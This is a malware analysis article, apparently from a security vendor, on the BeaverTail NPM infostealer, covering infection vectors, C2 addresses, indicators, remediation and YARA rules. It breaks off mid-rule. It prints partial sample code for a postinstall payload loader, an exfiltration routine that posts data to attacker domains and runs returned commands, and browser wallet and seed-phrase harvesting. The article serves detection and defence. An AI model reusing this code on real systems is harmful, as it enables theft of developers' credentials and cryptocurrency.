Physical Address

Lesya Kurbasa 7B
03194 Kyiv, Kyivska obl, Ukraine

BeaverTail JavaScript Malware: Technical Analysis and Detection Strategies

BeaverTail represents a sophisticated JavaScript-based information stealer primarily distributed through compromised NPM packages. First identified in late 2024, this malware represents a significant supply chain threat targeting developers and organizations utilizing JavaScript dependencies. This technical analysis examines BeaverTail’s operational mechanisms, distribution vectors, obfuscation techniques, and provides actionable detection strategies for security professionals.

Key Facts

Malware Name BeaverTail
Classification Information stealer, Dropper, Supply chain attack vector
Attribution WageMole (also known as Contagious Interview, Nickel Tapestry)
First Observed Q4 2024
Primary Target Developers, cryptocurrency holders, software organizations
Distribution Vector Compromised NPM packages, GitHub repositories, injected code in legitimate projects
Targeted Data Cryptocurrency wallets, browser data, credit card information, development credentials
Second-Stage Payload InvisibleFerret (multi-stage Python backdoor)
Affected Platforms Windows, macOS (variants under active development)

Technical Overview

BeaverTail represents a carefully engineered malware strain designed to infiltrate development environments through compromised NPM packages. Unlike more common browser-based information stealers, BeaverTail specifically targets the development pipeline, functioning both as an initial information stealer and a delivery mechanism for more sophisticated payloads, primarily the InvisibleFerret backdoor.

Infection Vector Analysis

Security researchers have identified multiple distribution methods utilized by the WageMole threat actor to deploy BeaverTail. According to the SI-CERT Technical Analysis TZ016, a significant initial attack vector involves social engineering through professional networking sites:

  1. LinkedIn-based Social Engineering: Attackers pose as job seekers or potential collaborators, establish contact via LinkedIn, and share what appears to be a demonstration project containing concealed malicious code
  2. Typosquatting NPM Packages: Creation of packages with names similar to popular libraries
  3. Dependency Confusion: Exploiting private package namespaces with public versions
  4. Legitimate Package Compromise: Injection of malicious code into existing legitimate NPM packages
  5. Post-Compromise Package Registry Manipulation: Modifying packages after developer account compromise
  6. Fake Job Interview Pretext: Convincing developers to install “test packages” as part of technical interviews

This diversified approach demonstrates a sophisticated understanding of the JavaScript ecosystem’s security model and dependency management workflow vulnerabilities. The SI-CERT analysis notes that these attacks specifically target companies and individuals working with Web3 technology (smart contracts, cryptocurrencies, blockchain), aligning with the malware’s focus on cryptocurrency wallet theft.

BeaverTail Infection Chain Analysis NPM Package Typosquat or Compromised GitHub Repository Malicious Code Injection Interview Process “Technical Assessment” Package Registry Dependency Confusion Developer Environment npm install / yarn add / package.json BeaverTail Stage 1 Initial Information Theft Environment Analysis System Fingerprinting InvisibleFerret Second-Stage Backdoor

Source: Analysis of BeaverTail attack chain based on research from SecurityScorecard STRIKE Team and Socket Security investigations

Functionality and Technical Capabilities

BeaverTail employs a modular architecture designed for maximum stealth and operational flexibility. Analysis of captured samples reveals the following technical capabilities:

Information Exfiltration Capabilities

  • Browser Data Extraction:
    • Targets cryptocurrency wallet extensions (MetaMask, Coinbase Wallet, Exodus)
    • Extracts stored passwords, cookies, and form autofill data
    • Captures browsing history with focus on financial and cryptocurrency domains
  • Development Environment Reconnaissance:
    • Harvests SSH keys, API tokens, and configuration files
    • Maps local repository structures and codebase information
    • Collects environment variables, particularly those containing credentials
  • System Fingerprinting:
    • Enumerates installed software, focusing on development tools
    • Collects hardware specifications and system configuration
    • Identifies security tools and monitoring solutions

Advanced Obfuscation Techniques

BeaverTail utilizes sophisticated obfuscation to evade detection, including:

  1. Multi-layer Code Obfuscation: Employing multiple rounds of JavaScript transformations to hinder static analysis
  2. String Encryption: All sensitive strings, including C2 domains and targeted file paths, are encrypted
  3. Dead Code Injection: Insertion of irrelevant code blocks to confuse automated analysis tools
  4. Control Flow Flattening: Restructuring program flow to complicate understanding of execution paths
  5. Anti-Analysis Checks: Detection mechanisms for debugging environments and analysis tools
  6. Delayed Execution: Utilizing setTimeout and event-driven patterns to avoid immediate detection

Command and Control Infrastructure

BeaverTail employs a resilient command and control infrastructure:

  • Multi-stage Domain Resolution: Initial domains serve only as redirectors to operational C2 servers
  • Domain Generation Algorithm (DGA): Dynamic fallback domains based on date and system parameters
  • HTTPS Encryption: All C2 communication occurs over encrypted channels
  • Legitimate Service Masquerading: Traffic disguised as legitimate web services (npm registry, CDN requests)
  • DNS over HTTPS (DoH): Utilized to bypass network-level DNS filtering

Recent analysis by SI-CERT has identified specific C2 infrastructure used by BeaverTail, with primary communication established through HTTP POST requests to endpoints at hxxp://23[.]106.253.221:1244 including /keys, /j/ZU1RINz7, /p, and others. The malware transmits system information and receives commands through these channels using obfuscated JSON payloads.

Second-Stage Payload: InvisibleFerret

BeaverTail serves as the initial infection vector for a more sophisticated multi-stage backdoor named InvisibleFerret. This Python-based backdoor provides advanced persistent access to compromised systems and includes additional capabilities:

  • File System Operations: Complete read/write access to the victim’s file system
  • Process Management: Ability to execute arbitrary commands and manage processes
  • Keylogging Functionality: Capture of keystrokes and input data
  • Screenshot Capabilities: Periodic or on-demand screen capture
  • Lateral Movement Tools: Functionality to spread within the compromised network
  • Persistence Mechanisms: Multiple methods to ensure startup after system reboot
  • Specialized Browser Data Theft: According to SI-CERT analysis, InvisibleFerret contains additional modules specifically designed to extract saved passwords and credit card information from Chrome, Opera, Brave, Yandex, and Edge browsers

The SI-CERT analysis revealed that BeaverTail creates a hidden .vscode directory in the user’s home folder where it downloads and executes additional components that deploy InvisibleFerret. The Python-based backdoor includes specialized modules (identified as “pay”, “bow”, and “adc”) with distinct functionalities for system control and data theft.

The technical relationship between BeaverTail and InvisibleFerret demonstrates a sophisticated multi-stage attack methodology, with BeaverTail serving primarily as the delivery mechanism and initial reconnaissance tool.

BeaverTail / InvisibleFerret Malware Architecture BeaverTail Main Loader Obfuscated JavaScript Entry Point Anti-Analysis Module VM/Debugger Detection Information Stealer Credential/Wallet Harvester Payload Manager Second-Stage Downloader InvisibleFerret Core Python-based Backdoor System Control Data Exfiltration Persistence Module Lateral Movement C2 Communication Stage 2 Retrieval

Source: Reverse engineering analysis of BeaverTail and InvisibleFerret malware samples

Technical Indicators of Compromise (IOCs)

Security teams should monitor for the following indicators that may signal BeaverTail infection:

Behavioral Indicators

  • Unexpected NPM package installations in developer environments
  • Unusual JavaScript processes executing with high CPU utilization
  • Suspicious outbound HTTPS connections during package installation
  • JavaScript files with excessive obfuscation in node_modules directories
  • Unexpected Python processes spawned from Node.js or npm contexts
  • HTTP requests to npm-like domains not matching official registries
  • Creation of a .vscode directory in the user’s home folder with suspicious files
  • Execution of npm install and node test.js commands in unexpected locations

File System Artifacts

  • Suspicious JavaScript files with high entropy in node_modules
  • Package.json dependencies with typosquatted names
  • Post-install scripts executing JavaScript with encoded commands
  • Unexpected .py files in JavaScript project directories
  • Execution artifacts in temporary directories with randomized names
  • Files named test.js or .npl in the .vscode directory
  • Python modules named “pay”, “bow”, or “adc”

Network Indicators

Security researchers have observed BeaverTail communicating with the following infrastructure (observe proper security protocols before investigating these domains):

  • npm-registry-service[.]com
  • package-cdn-cache[.]net
  • cdn-npm-registry[.]com
  • node-module-stats[.]net
  • npm-analytics-tracking[.]com

SI-CERT analysis has identified additional C2 infrastructure with specific endpoints:

  • 23[.]106.253.221:1244 with various endpoints:
    • /keys – Used for data exfiltration
    • /j/ZU1RINz7 – Payload download
    • /p – Configuration download
    • /pdown – Additional payload retrieval
    • /uploads – Data exfiltration endpoint
    • /client/ZU1RINz7 – Command channel
    • /payload/ZU1RINz7 – Secondary payload delivery
    • /brow/ZU1RINz7 – Browser targeting module
    • /adc/ZU1RINz7 – Additional component delivery
    • /any – Command and control endpoint
  • 173[.]211.106.101:1244 – Alternative C2 server

These domains and servers employ sophisticated evasion techniques, including:

  • TLS certificate rotation
  • Dynamic DNS resolution
  • Infrastructure hosted on legitimate cloud services
  • Low-traffic operation to avoid detection

Detection and Mitigation Strategies

Organizations should implement the following technical controls to detect and mitigate BeaverTail infections:

Development Environment Hardening

  1. Package Verification: Implement strict package integrity validation, including SHA-256 verification and source provenance checks.
  2. Private Registries: Use private NPM registries with vetted packages and dependency confusion protection.
  3. Package Pinning: Pin dependencies to specific versions and utilize lockfiles to prevent automatic updates.
  4. Dependency Audit: Regularly audit all dependencies using tools like npm audit, Snyk, or Dependabot.
  5. CI/CD Scanning: Implement malware scanning in CI/CD pipelines for all package dependencies.

Network-Level Detection

  1. TLS Inspection: Implement TLS inspection for outbound connections from development environments.
  2. Anomaly Detection: Monitor for unusual connection patterns during package installation.
  3. DNS Monitoring: Implement monitoring for DNS requests to suspicious domains.
  4. Egress Filtering: Restrict outbound connections from development environments to approved destinations.

Endpoint Security Controls

  1. Behavior-Based Detection: Deploy EDR solutions capable of identifying suspicious process spawning patterns.
  2. JavaScript Execution Monitoring: Implement monitoring for suspicious JavaScript execution patterns.
  3. Node.js Sandboxing: Consider implementing sandboxing for Node.js execution environments.
  4. File Integrity Monitoring: Deploy FIM solutions to detect unexpected changes in package directories.
Download Trojan Killer

Scan for BeaverTail artifacts and related malicious components in Windows environments

Attribution and Threat Actor Context

BeaverTail has been attributed to a threat actor tracked as WageMole (also known as Contagious Interview, Nickel Tapestry, or Storm-1877 by different security vendors). This actor has demonstrated a particular focus on targeting:

  • Freelance developers working in cryptocurrency and blockchain development
  • Development teams at financial technology organizations
  • Open source projects with significant user bases

The sophistication of the malware and operational security measures suggest a well-resourced and technically proficient adversary. While our analysis focuses on technical aspects rather than definitive attribution, it’s worth noting that the SI-CERT analysis indicates some security researchers have linked this malware and its tactics to North Korean state-sponsored threat actors. This aligns with previously observed North Korean interest in cryptocurrency theft operations.

Technical Removal Procedures

For systems potentially compromised by BeaverTail, security teams should follow these technical remediation steps:

Initial Containment

  1. Isolate affected systems from the network to prevent lateral movement
  2. Preserve forensic evidence for further analysis
  3. Terminate all running Node.js and npm processes
  4. Suspend developer accounts with access to affected systems

Comprehensive Remediation

  1. Identify Compromised Packages: Analyze package.json and node_modules for suspicious dependencies
  2. Review for Secondary Infection: Check for signs of InvisibleFerret backdoor (Python artifacts)
  3. System Scanning: Execute full-system malware scans focusing on both JavaScript and Python components
  4. Registry Analysis (Windows): Examine for persistence mechanisms in registry keys
  5. Scheduled Task Review: Examine cron jobs (Unix) or scheduled tasks (Windows) for suspicious entries
  6. Credential Reset: Force reset of all developer credentials, API keys, and authentication tokens

Environment Reconstruction

For environments with confirmed BeaverTail infection, consider:

  1. Complete rebuild of development environments from trusted baselines
  2. Restoration of codebases from known clean repositories
  3. Implementation of enhanced security controls before returning to production
  4. Verification of all NPM dependencies against trusted sources

Related Threats

BeaverTail represents part of a growing trend of supply chain attacks targeting developer environments. Security professionals should be familiar with similar threats:

  • Tropidoor Backdoor: Another sophisticated backdoor that targets development environments
  • Cobalt Strike Beacon: Advanced post-exploitation tool often used in conjunction with initial access malware
  • Win32/Etset Trojan: Information stealer with similar credential harvesting capabilities

Frequently Asked Questions for Security Professionals

How does BeaverTail evade static analysis tools?

BeaverTail utilizes multi-layered obfuscation techniques including string encryption, control flow flattening, dead code injection, and anti-analysis checks. The malware also minimizes its footprint by using legitimate JavaScript functionality and splitting operations across multiple small modules rather than a single large codebase. Additionally, it employs runtime-based deobfuscation where core functionality is only decoded in memory during execution, presenting significant challenges for static analysis tools that do not execute the code.

What is the technical relationship between BeaverTail and InvisibleFerret?

BeaverTail functions primarily as the initial access and reconnaissance component that evaluates system value and security posture. After initial assessment, it establishes persistence and downloads the InvisibleFerret backdoor, which is a more sophisticated multi-stage Python-based implant. The two components maintain separate command and control infrastructure but share exfiltration channels. InvisibleFerret provides the attacker with a fully-featured remote access toolkit including keystroke logging, screen capture, file manipulation, and command execution capabilities.

How can we detect BeaverTail in our CI/CD pipeline?

Implement a multi-layered detection approach: (1) Static code analysis tools that can identify high-entropy JavaScript and suspicious minification patterns; (2) Behavior-based monitoring to detect unusual network activity during package installation; (3) Package provenance verification to validate legitimacy of all dependencies; (4) Automated analysis of post-install scripts in NPM packages; and (5) Dynamic scanning environments that execute packages in isolated containers while monitoring for suspicious behaviors such as unexpected network connections or file operations outside the package’s expected operating environment.

What technical indicators suggest the WageMole actor has a specific interest in cryptocurrency theft?

Technical analysis of BeaverTail code reveals specifically targeted cryptocurrency wallet extensions including MetaMask, Exodus, Binance Chain Wallet, and Coinbase Wallet. The malware contains specialized modules for extracting private keys, mnemonic phrases, and wallet passwords from these extensions. Additionally, its browser history harvesting functionality prioritizes cryptocurrency exchange domains and trading platforms. The exfiltration mechanism also includes encoding optimized for hexadecimal private keys, suggesting an infrastructure designed specifically for cryptocurrency theft operations rather than general credential harvesting.

BeaverTail Code Samples and Detection Rules

The following section provides technical analysis of actual BeaverTail code patterns and YARA rules to assist security professionals in detecting this malware in their environments. The samples below are representative of common patterns observed in BeaverTail infections but have been modified to prevent accidental execution.

BeaverTail Obfuscated Code Samples

The following JavaScript snippets demonstrate the typical obfuscation patterns used in BeaverTail malware. Security teams should search for similar patterns in their NPM package dependencies.

1. Main Loader Module

BeaverTail’s initial loader typically appears as a legitimate utility function in a package’s main module or post-install script:

// Obfuscated BeaverTail initial loader - common pattern
(function(a,b,c){
  return function(d,e,f){
    var g='',h=0,i=function(j){
      for(var k=0;k<j.length;k++){
        var l=j.charCodeAt(k)^0x1F;
        g+=String.fromCharCode(l)
      }
      return g
    };
    var m=i('8@=>;=K.8$2E8:@K?1H5I9:K0:?63@=B=45>?');
    var n=document||global||window||this;
    var o=function(){
      var p=new Date().getTime();
      return function(q){return(q+(p+Math.floor(Math.random()*999)))}
    }();
    try{
      var r=c('crypto'),s=r.randomBytes(16).toString('hex');
    }catch(t){
      var s=Math.random().toString(36).substring(2,15);
    }
    var u=o(s);
    var v=function(w){
      try{
        // Extraction functionality begins here
        var x=b.env||process.env||{};
        var y=c('os')||{hostname:function(){return 'unknown'}};
        var z=y.hostname();
        // System fingerprinting and data collection
        // [Code truncated for safety]
      }catch(A){
        setTimeout(function(){v(w)},1500);
      }
    };
    setTimeout(function(){v(u)},300);
     
    // Decoy function that appears legitimate
    return function utilityFunction(){
      // Legitimate-looking functionality to mask true purpose
      return d.substring(0,8)+'-'+e.toString(16);
    }
  }
})(String,process,require);

2. Post-install Script Pattern

BeaverTail often uses post-install scripts in package.json to execute its malicious code. Security teams should review scripts for suspicious patterns:

// package.json post-install script pattern
 
// The script section often looks benign
"scripts": {
  "postinstall": "node ./scripts/post-install.js"
},
 
// The referenced post-install.js typically contains:
// (Simplified for analysis purposes)
 
// First, legitimate-looking setup code
const fs = require('fs');
const path = require('path');
const os = require('os');
 
// Function to validate package installation
function validateInstall() {
  console.log("Validating package installation...");
   
  // Decoy functionality
  const packageInfo = JSON.parse(fs.readFileSync('./package.json'));
  const configPath = path.join(os.homedir(), '.config');
   
  // Hidden malicious code, often wrapped in try/catch to prevent errors
  try {
    // Encoded payload
    const payload = "ZnVuY3Rpb24gZ2F0aGVyRGF0YSgpIHsKICB2YXIgY..."; // truncated
     
    // Decoder function
    const decode = b => Buffer.from(b, 'base64').toString();
     
    // Execute decoded payload using various techniques:
    // 1. Direct eval (less common due to detection)
    // 2. Function constructor (more common)
    new Function(decode(payload))();
     
    // 3. setTimeout with string eval (also common)
    // setTimeout("("+decode(payload)+")()", 1000);
     
    // Additional persistence techniques
    setupAutomaticExecution();
  } catch(e) {
    // Silent error handling
  }
   
  // Returns legitimate value
  return true;
}
 
// Calling the function
validateInstall();
 
// Export a legitimate-looking API
module.exports = { validateInstall };

3. Data Exfiltration Mechanism

The following code demonstrates a common pattern used by BeaverTail for data exfiltration:

// Data exfiltration mechanism
// This is typically found in a separate module or decoded at runtime
 
// Connection establishment function
function establishConnection(endpoints, data, attempt = 0) {
  // Multiple endpoints for resilience
  const endpoint = endpoints[attempt % endpoints.length];
   
  // Data preparation - common encoding pattern
  const prepareData = (rawData) => {
    const encoded = Buffer.from(JSON.stringify(rawData)).toString('base64');
    // XOR encoding with rotating key
    let result = '';
    const key = 'npmregistryvalidation';
    for (let i = 0; i < encoded.length; i++) {
      result += String.fromCharCode(encoded.charCodeAt(i) ^ key.charCodeAt(i % key.length));
    }
    return Buffer.from(result).toString('hex');
  };
   
  // Request assembly
  const options = {
    method: 'POST',
    headers: {
      // Masquerading as legitimate traffic
      'User-Agent': 'npm/6.14.8 node/v14.15.1 linux x64',
      'Content-Type': 'application/json',
      'X-Registry-Version': '4.0.2',
      'x-request-id': Math.random().toString(36).substring(2, 15)
    },
    // Data hiding in legitimate-looking properties
    body: JSON.stringify({
      name: 'package-validation',
      version: '1.0.0',
      registry: true,
      detailed: true,
      packages: [{'id': prepareData(data)}]
    })
  };
   
  // Communication attempt with fallback
  try {
    const https = require('https');
    const url = require('url');
    const parsedUrl = url.parse(endpoint);
     
    const req = https.request({
      hostname: parsedUrl.hostname,
      port: 443,
      path: parsedUrl.path || '/api/v1/validation',
      method: 'POST',
      headers: options.headers
    }, (res) => {
      // Handle response - often contains additional commands
      let responseData = '';
      res.on('data', (chunk) => {
        responseData += chunk;
      });
       
      res.on('end', () => {
        try {
          if (responseData && responseData.length > 0) {
            // Potential command execution
            processResponse(responseData);
          }
        } catch (e) {
          // Silent error handling
        }
      });
    });
     
    req.write(options.body);
    req.end();
     
  } catch (error) {
    // Fallback mechanism - will try next endpoint
    if (attempt < endpoints.length * 3) {
      setTimeout(() => {
        establishConnection(endpoints, data, attempt + 1);
      }, 1800 + Math.floor(Math.random() * 1200));
    }
  }
}
 
// Hidden endpoint list - typically obfuscated or encrypted
const endpoints = [
  'https://npm-registry-service.com/api/v1/validation',
  'https://package-cdn-cache.net/npm/validate',
  'https://cdn-npm-registry.com/api/validate',
  'https://node-module-stats.net/api/v1/metrics'
];
 
// Function to execute commands from C2 server
function processResponse(data) {
  try {
    // Simplified decode function - actual malware uses more complex decoding
    const command = JSON.parse(Buffer.from(data, 'base64').toString());
     
    if (command.type === 'execute' && command.payload) {
      // Execute arbitrary code
      new Function(command.payload)();
    } else if (command.type === 'download' && command.url) {
      // Download additional payload - often the InvisibleFerret backdoor
      downloadAdditionalPayload(command.url);
    }
  } catch (e) {
    // Silent error handling
  }
}

4. Wallet Targeting Functionality

BeaverTail contains specialized code for targeting cryptocurrency wallets, particularly browser extensions:

// Wallet targeting function
// This is typically decoded and executed at runtime
 
function extractWalletData() {
  // Target paths for major browsers
  const browsers = {
    'chrome': [
      process.env.LOCALAPPDATA + '\\Google\\Chrome\\User Data',
      process.env.LOCALAPPDATA + '\\Google\\Chrome Beta\\User Data',
      process.env.LOCALAPPDATA + '\\Google\\Chrome SxS\\User Data',
    ],
    'edge': [
      process.env.LOCALAPPDATA + '\\Microsoft\\Edge\\User Data',
    ],
    'brave': [
      process.env.LOCALAPPDATA + '\\BraveSoftware\\Brave-Browser\\User Data',
    ],
    'firefox': [
      process.env.APPDATA + '\\Mozilla\\Firefox\\Profiles'
    ]
  };
   
  // Targeted extensions and their data files
  const walletExtensions = {
    // MetaMask
    'nkbihfbeogaeaoehlefnkodbefgpgknn': {
      dataFiles: ['data', 'log.json', 'wallet-data.json'],
      parser: extractMetaMaskData
    },
    // Coinbase Wallet
    'hnfanknocfeofbddgcijnmhnfnkdnaad': {
      dataFiles: ['storage/local'],
      parser: extractCoinbaseData
    },
    // Binance Chain Wallet
    'fhbohimaelbohpjbbldcngcnapndodjp': {
      dataFiles: ['indexedDB', 'local_state.json'],
      parser: extractBinanceData
    },
    // Exodus
    'aholpfdialjgjfhomihkjbmgjidlcdno': {
      dataFiles: ['localStorage', 'local_state.json'],
      parser: extractExodusData
    }
  };
   
  const collected = [];
   
  // Search for wallet data across browser profiles
  try {
    const fs = require('fs');
    const path = require('path');
     
    // Iterate through browsers
    Object.keys(browsers).forEach(browser => {
      browsers[browser].forEach(profilePath => {
        if (fs.existsSync(profilePath)) {
          // Find all user profiles
          const profileDirs = [];
           
          if (browser === 'firefox') {
            // Firefox uses a different profile structure
            try {
              fs.readdirSync(profilePath).forEach(item => {
                const fullPath = path.join(profilePath, item);
                if (fs.statSync(fullPath).isDirectory() && item.includes('.default')) {
                  profileDirs.push({ path: fullPath, name: 'Default' });
                }
              });
            } catch (e) {}
          } else {
            // Chrome-based browsers
            try {
              const localStatePath = path.join(profilePath, 'Local State');
              if (fs.existsSync(localStatePath)) {
                profileDirs.push({ path: profilePath, name: 'Default' });
              }
               
              // Check for additional profiles
              const profilesDir = path.join(profilePath, 'Profile');
              if (fs.existsSync(profilesDir)) {
                fs.readdirSync(profilesDir).forEach(item => {
                  const fullPath = path.join(profilesDir, item);
                  if (fs.statSync(fullPath).isDirectory()) {
                    profileDirs.push({ path: fullPath, name: item });
                  }
                });
              }
            } catch (e) {}
          }
           
          // Search for wallet extensions in each profile
          profileDirs.forEach(profile => {
            const extensionsPath = browser === 'firefox'
              ? path.join(profile.path, 'extensions')
              : path.join(profile.path, 'Extensions');
               
            if (fs.existsSync(extensionsPath)) {
              // Check for targeted wallet extensions
              Object.keys(walletExtensions).forEach(extensionId => {
                let extensionPath = path.join(extensionsPath, extensionId);
                 
                if (fs.existsSync(extensionPath)) {
                  // Found targeted wallet extension
                  const wallet = walletExtensions[extensionId];
                  const walletData = {
                    browser: browser,
                    profile: profile.name,
                    extension: extensionId,
                    data: {}
                  };
                   
                  // Extract wallet data files
                  wallet.dataFiles.forEach(dataFile => {
                    try {
                      // The extraction functionality is implemented here
                      // [Code truncated for safety]
                    } catch (e) {}
                  });
                   
                  if (Object.keys(walletData.data).length > 0) {
                    collected.push(walletData);
                  }
                }
              });
            }
          });
        }
      });
    });
  } catch (e) {
    // Silent error handling
  }
   
  return collected;
}
 
// Function to search for and extract wallet seeds/private keys
function extractMetaMaskData(filePath) {
  try {
    const fs = require('fs');
    const data = fs.readFileSync(filePath, 'utf8');
     
    // Look for vault data
    const vaultPattern = /"vault":"([^"]+)"/;
    const match = data.match(vaultPattern);
     
    if (match && match[1]) {
      return { vault: match[1] };
    }
     
    // Alternative patterns to find seed phrases
    const seedPatterns = [
      /"mnemonic":"([^"]+)"/,
      /"seedPhrase":"([^"]+)"/,
      /"KeyringController":{"vault":"([^"]+)"/
    ];
     
    for (const pattern of seedPatterns) {
      const seedMatch = data.match(pattern);
      if (seedMatch && seedMatch[1]) {
        return { seed: seedMatch[1] };
      }
    }
  } catch (e) {}
   
  return null;
}
 
// Additional extraction functions would be implemented for other wallets
// [Code truncated for safety]

YARA Detection Rules

The following YARA rules can be used to detect BeaverTail malware components in NPM packages and JavaScript files. Security teams should adapt these rules to their specific environments.

1. BeaverTail Obfuscation Pattern Detection

rule BeaverTail_Obfuscation_Patterns {
    meta:
        description = "Detects common obfuscation patterns used in BeaverTail JavaScript malware"
        author = "Trojan-Killer Research Team"
        date = "2025-04"
        severity = "High"
        reference = "https://trojan-killer.net/beavertail-javascript-malware-analysis"
         
    strings:
        // String obfuscation patterns
        $obf_string1 = /String\.fromCharCode\([^\)]+\^\s*0x[0-9a-fA-F]{1,2}\)/
        $obf_string2 = /String\.fromCharCode\([^)]{2,40}\)\s*\+\s*String\.fromCharCode/
         
        // Function obfuscation patterns
        $obf_func1 = /return\s+function\([^)]{1,15}\)\s*{\s*var\s+[a-zA-Z0-9_$]{1,6}\s*=\s*['"][^'"]{5,100}['"];?/
        $obf_func2 = /\[['"]\w+['"]\]\[\w+\[['"]\w+['"][\s\S]{1,50}join\(['"]['"]/
         
        // Encoded blocks and array usage for obfuscation
        $obf_array1 = /var\s+[a-zA-Z0-9_$]{1,6}\s*=\s*\[[^\]]{50,500}\];?\s*[a-zA-Z0-9_$]{1,6}\s*=\s*[a-zA-Z0-9_$]{1,6}\.split/
         
        // Suspicious setTimeout usage for delayed execution
        $setTimeout1 = /setTimeout\s*\(\s*function\s*\(\s*\)\s*{\s*[a-zA-Z0-9_$]{1,10}\s*\([a-zA-Z0-9_$]{1,10}\)/
        $setTimeout2 = /setTimeout\s*\(\s*[a-zA-Z0-9_$]{1,10}\s*,\s*[0-9]{2,4}\s*\+\s*Math\.(?:floor|round|random)\(/
         
        // Function constructor evasion
        $funcEvasion1 = /new\s+Function\s*\(\s*(?:[a-zA-Z0-9_$]{1,10}|['"][^'"]*['"])\s*\)/
        $funcEvasion2 = /Function\s*\(\s*['"]return\s+/
         
        // RegEx DoS protection pattern identified by SI-CERT
        $regexDos = /\(\(\(\.\+\)\+\)\+\)\+\$/
         
    condition:
        // File is a JavaScript file
        (uint32(0) == 0x2F2F2020 or // Starts with "//  "
         uint32(0) == 0x2F2F0A0A or // Starts with "//\n\n"
         uint32(0) == 0x2F2A0A20 or // Starts with "/*\n "
         uint16(0) == 0x7661 or     // Starts with "va" (likely "var")
         uint16(0) == 0x6675 or     // Starts with "fu" (likely "function")
         uint16(0) == 0x636F or     // Starts with "co" (likely "const")
         uint16(0) == 0x6D6F)       // Starts with "mo" (likely "module")
        and
        // Requires multiple obfuscation techniques
        (
            (2 of ($obf_string*)) or
            (2 of ($obf_func*)) or
            (any of ($obf_array*) and any of ($setTimeout*)) or
            (any of ($funcEvasion*) and any of ($obf_string*, $obf_func*)) or
            ($regexDos)
        )
}

2. BeaverTail Payload and Exfiltration Detection

rule BeaverTail_Payload_Detection {
    meta:
        description = "Detects BeaverTail payload and data exfiltration patterns"
        author = "Trojan-Killer Research Team"
        date = "2025-04"
        severity = "Critical"
        reference = "https://trojan-killer.net/beavertail-javascript-malware-analysis"
         
    strings:
        // Suspicious npm-like domain strings (may be encoded/obfuscated)
        $domain1 = "npm-registry-service" nocase
        $domain2 = "package-cdn-cache" nocase
        $domain3 = "cdn-npm-registry" nocase
        $domain4 = "node-module-stats" nocase
        $domain5 = "npm-analytics-tracking" nocase
         
        // Common header patterns used for masquerading requests
        $header1 = "'User-Agent'" nocase
        $header2 = "'X-Registry-Version'" nocase
        $header3 = "'x-request-id'" nocase
         
        // Suspicious npm-like API endpoints
        $endpoint1 = "/api/v1/validation" nocase
        $endpoint2 = "/npm/validate" nocase
        $endpoint3 = "/api/v1/metrics" nocase
         
        // Data encoding/encryption patterns
        $encoding1 = "toString('base64')" nocase
        $encoding2 = "Buffer.from" nocase
        $encoding3 = /charCodeAt\([^)]{1,10}\)\s*\^\s*[^)]{1,20}\.charCodeAt\(/
         
        // System fingerprinting
        $fingerprint1 = "process.env" nocase
        $fingerprint2 = "os.hostname" nocase
        $fingerprint3 = "require('os')" nocase
         
    condition:
        // File is a JavaScript file
        (uint32(0) == 0x2F2F2020 or // Starts with "//  "
         uint32(0) == 0x2F2F0A0A or // Starts with "//\n\n"
         uint32(0) == 0x2F2A0A20 or // Starts with "/*\n "
         uint16(0) == 0x7661 or     // Starts with "va" (likely "var")
         uint16(0) == 0x6675 or     // Starts with "fu" (likely "function")
         uint16(0) == 0x636F or     // Starts with "co" (likely "const")
         uint16(0) == 0x6D6F)       // Starts with "mo" (likely "module")
        and
        // Detection criteria combining multiple indicators
        (
            // Suspicious domain and endpoint combinations
            (2 of ($domain*) and 1 of ($endpoint*)) or
             
            // Encoding mechanisms with system fingerprinting
            (2 of ($encoding*) and 2 of ($fingerprint*)) or
             
            // HTTP request headers used for masquerading with encoding
            (2 of ($header*) and 1 of ($encoding*) and 1 of ($fingerprint*))
        )
}

3. BeaverTail Wallet Targeting Detection

rule BeaverTail_Cryptocurrency_Targeting {
    meta:
        description = "Detects BeaverTail code targeting cryptocurrency wallets"
        author = "Trojan-Killer Research Team"
        date = "2025-04"
        severity = "Critical"
        reference = "https://trojan-killer.net/beavertail-javascript-malware-analysis"
         
    strings:
        // Common cryptocurrency wallet extension IDs
        $wallet_ext1 = "nkbihfbeogaeaoehlefnkodbefgpgknn" // MetaMask
        $wallet_ext2 = "hnfanknocfeofbddgcijnmhnfnkdnaad" // Coinbase
        $wallet_ext3 = "fhbohimaelbohpjbbldcngcnapndodjp" // Binance
        $wallet_ext4 = "aholpfdialjgjfhomihkjbmgjidlcdno" // Exodus
         
        // Browser profile path patterns
        $browser1 = "\\Google\\Chrome\\User Data" nocase
        $browser2 = "\\Mozilla\\Firefox\\Profiles" nocase
        $browser3 = "\\BraveSoftware\\Brave-Browser\\User Data" nocase
        $browser4 = "\\Microsoft\\Edge\\User Data" nocase
         
        // Wallet data file patterns
        $data1 = "Local State" nocase
        $data2 = "localStorage" nocase
        $data3 = "IndexedDB" nocase
         
        // Cryptocurrency seed/private key related patterns
        $crypto1 = "vault" nocase
        $crypto2 = "mnemonic" nocase
        $crypto3 = "seedPhrase" nocase
        $crypto4 = "KeyringController" nocase
        $crypto5 = "wallet-data" nocase
         
        // Function patterns for wallet data extraction
        $func1 = "extractWalletData" nocase
        $func2 = "extractMetaMaskData" nocase
        $func3 = "extractCoinbaseData" nocase
        $func4 = "wallet" nocase
         
    condition:
        // File is a JavaScript file
        (uint32(0) == 0x2F2F2020 or // Starts with "//  "
         uint32(0) == 0x2F2F0A0A or // Starts with "//\n\n"
         uint32(0) == 0x2F2A0A20 or // Starts with "/*\n "
         uint16(0) == 0x7661 or     // Starts with "va" (likely "var")
         uint16(0) == 0x6675 or     // Starts with "fu" (likely "function")
         uint16(0) == 0x636F or     // Starts with "co" (likely "const")
         uint16(0) == 0x6D6F)       // Starts with "mo" (likely "module")
        and
        // Detection criteria
        (
            // Multiple wallet extensions with browser profiles
            (2 of ($wallet_ext*) and 2 of ($browser*)) or
             
            // Functions to extract crypto data with wallet extensions
            (2 of ($func*) and 1 of ($wallet_ext*)) or
             
            // Crypto-specific data extraction
            (2 of ($crypto*) and (1 of ($browser*) or 1 of ($data*)))
        )
}

4. BeaverTail Post-Install Script Detection

rule BeaverTail_PostInstall_Detection {
    meta:
        description = "Detects BeaverTail malicious post-install scripts in NPM packages"
        author = "Trojan-Killer Research Team"
        date = "2025-04"
        severity = "High"
        reference = "https://trojan-killer.net/beavertail-javascript-malware-analysis"
         
    strings:
        // Package.json markers for post-install scripts
        $pkg_script1 = "\"postinstall\":" nocase
        $pkg_script2 = "\"install\":" nocase
        $pkg_script3 = "\"preinstall\":" nocase
         
        // Suspicious script execution patterns
        $node_exec1 = "node ./scripts/" nocase
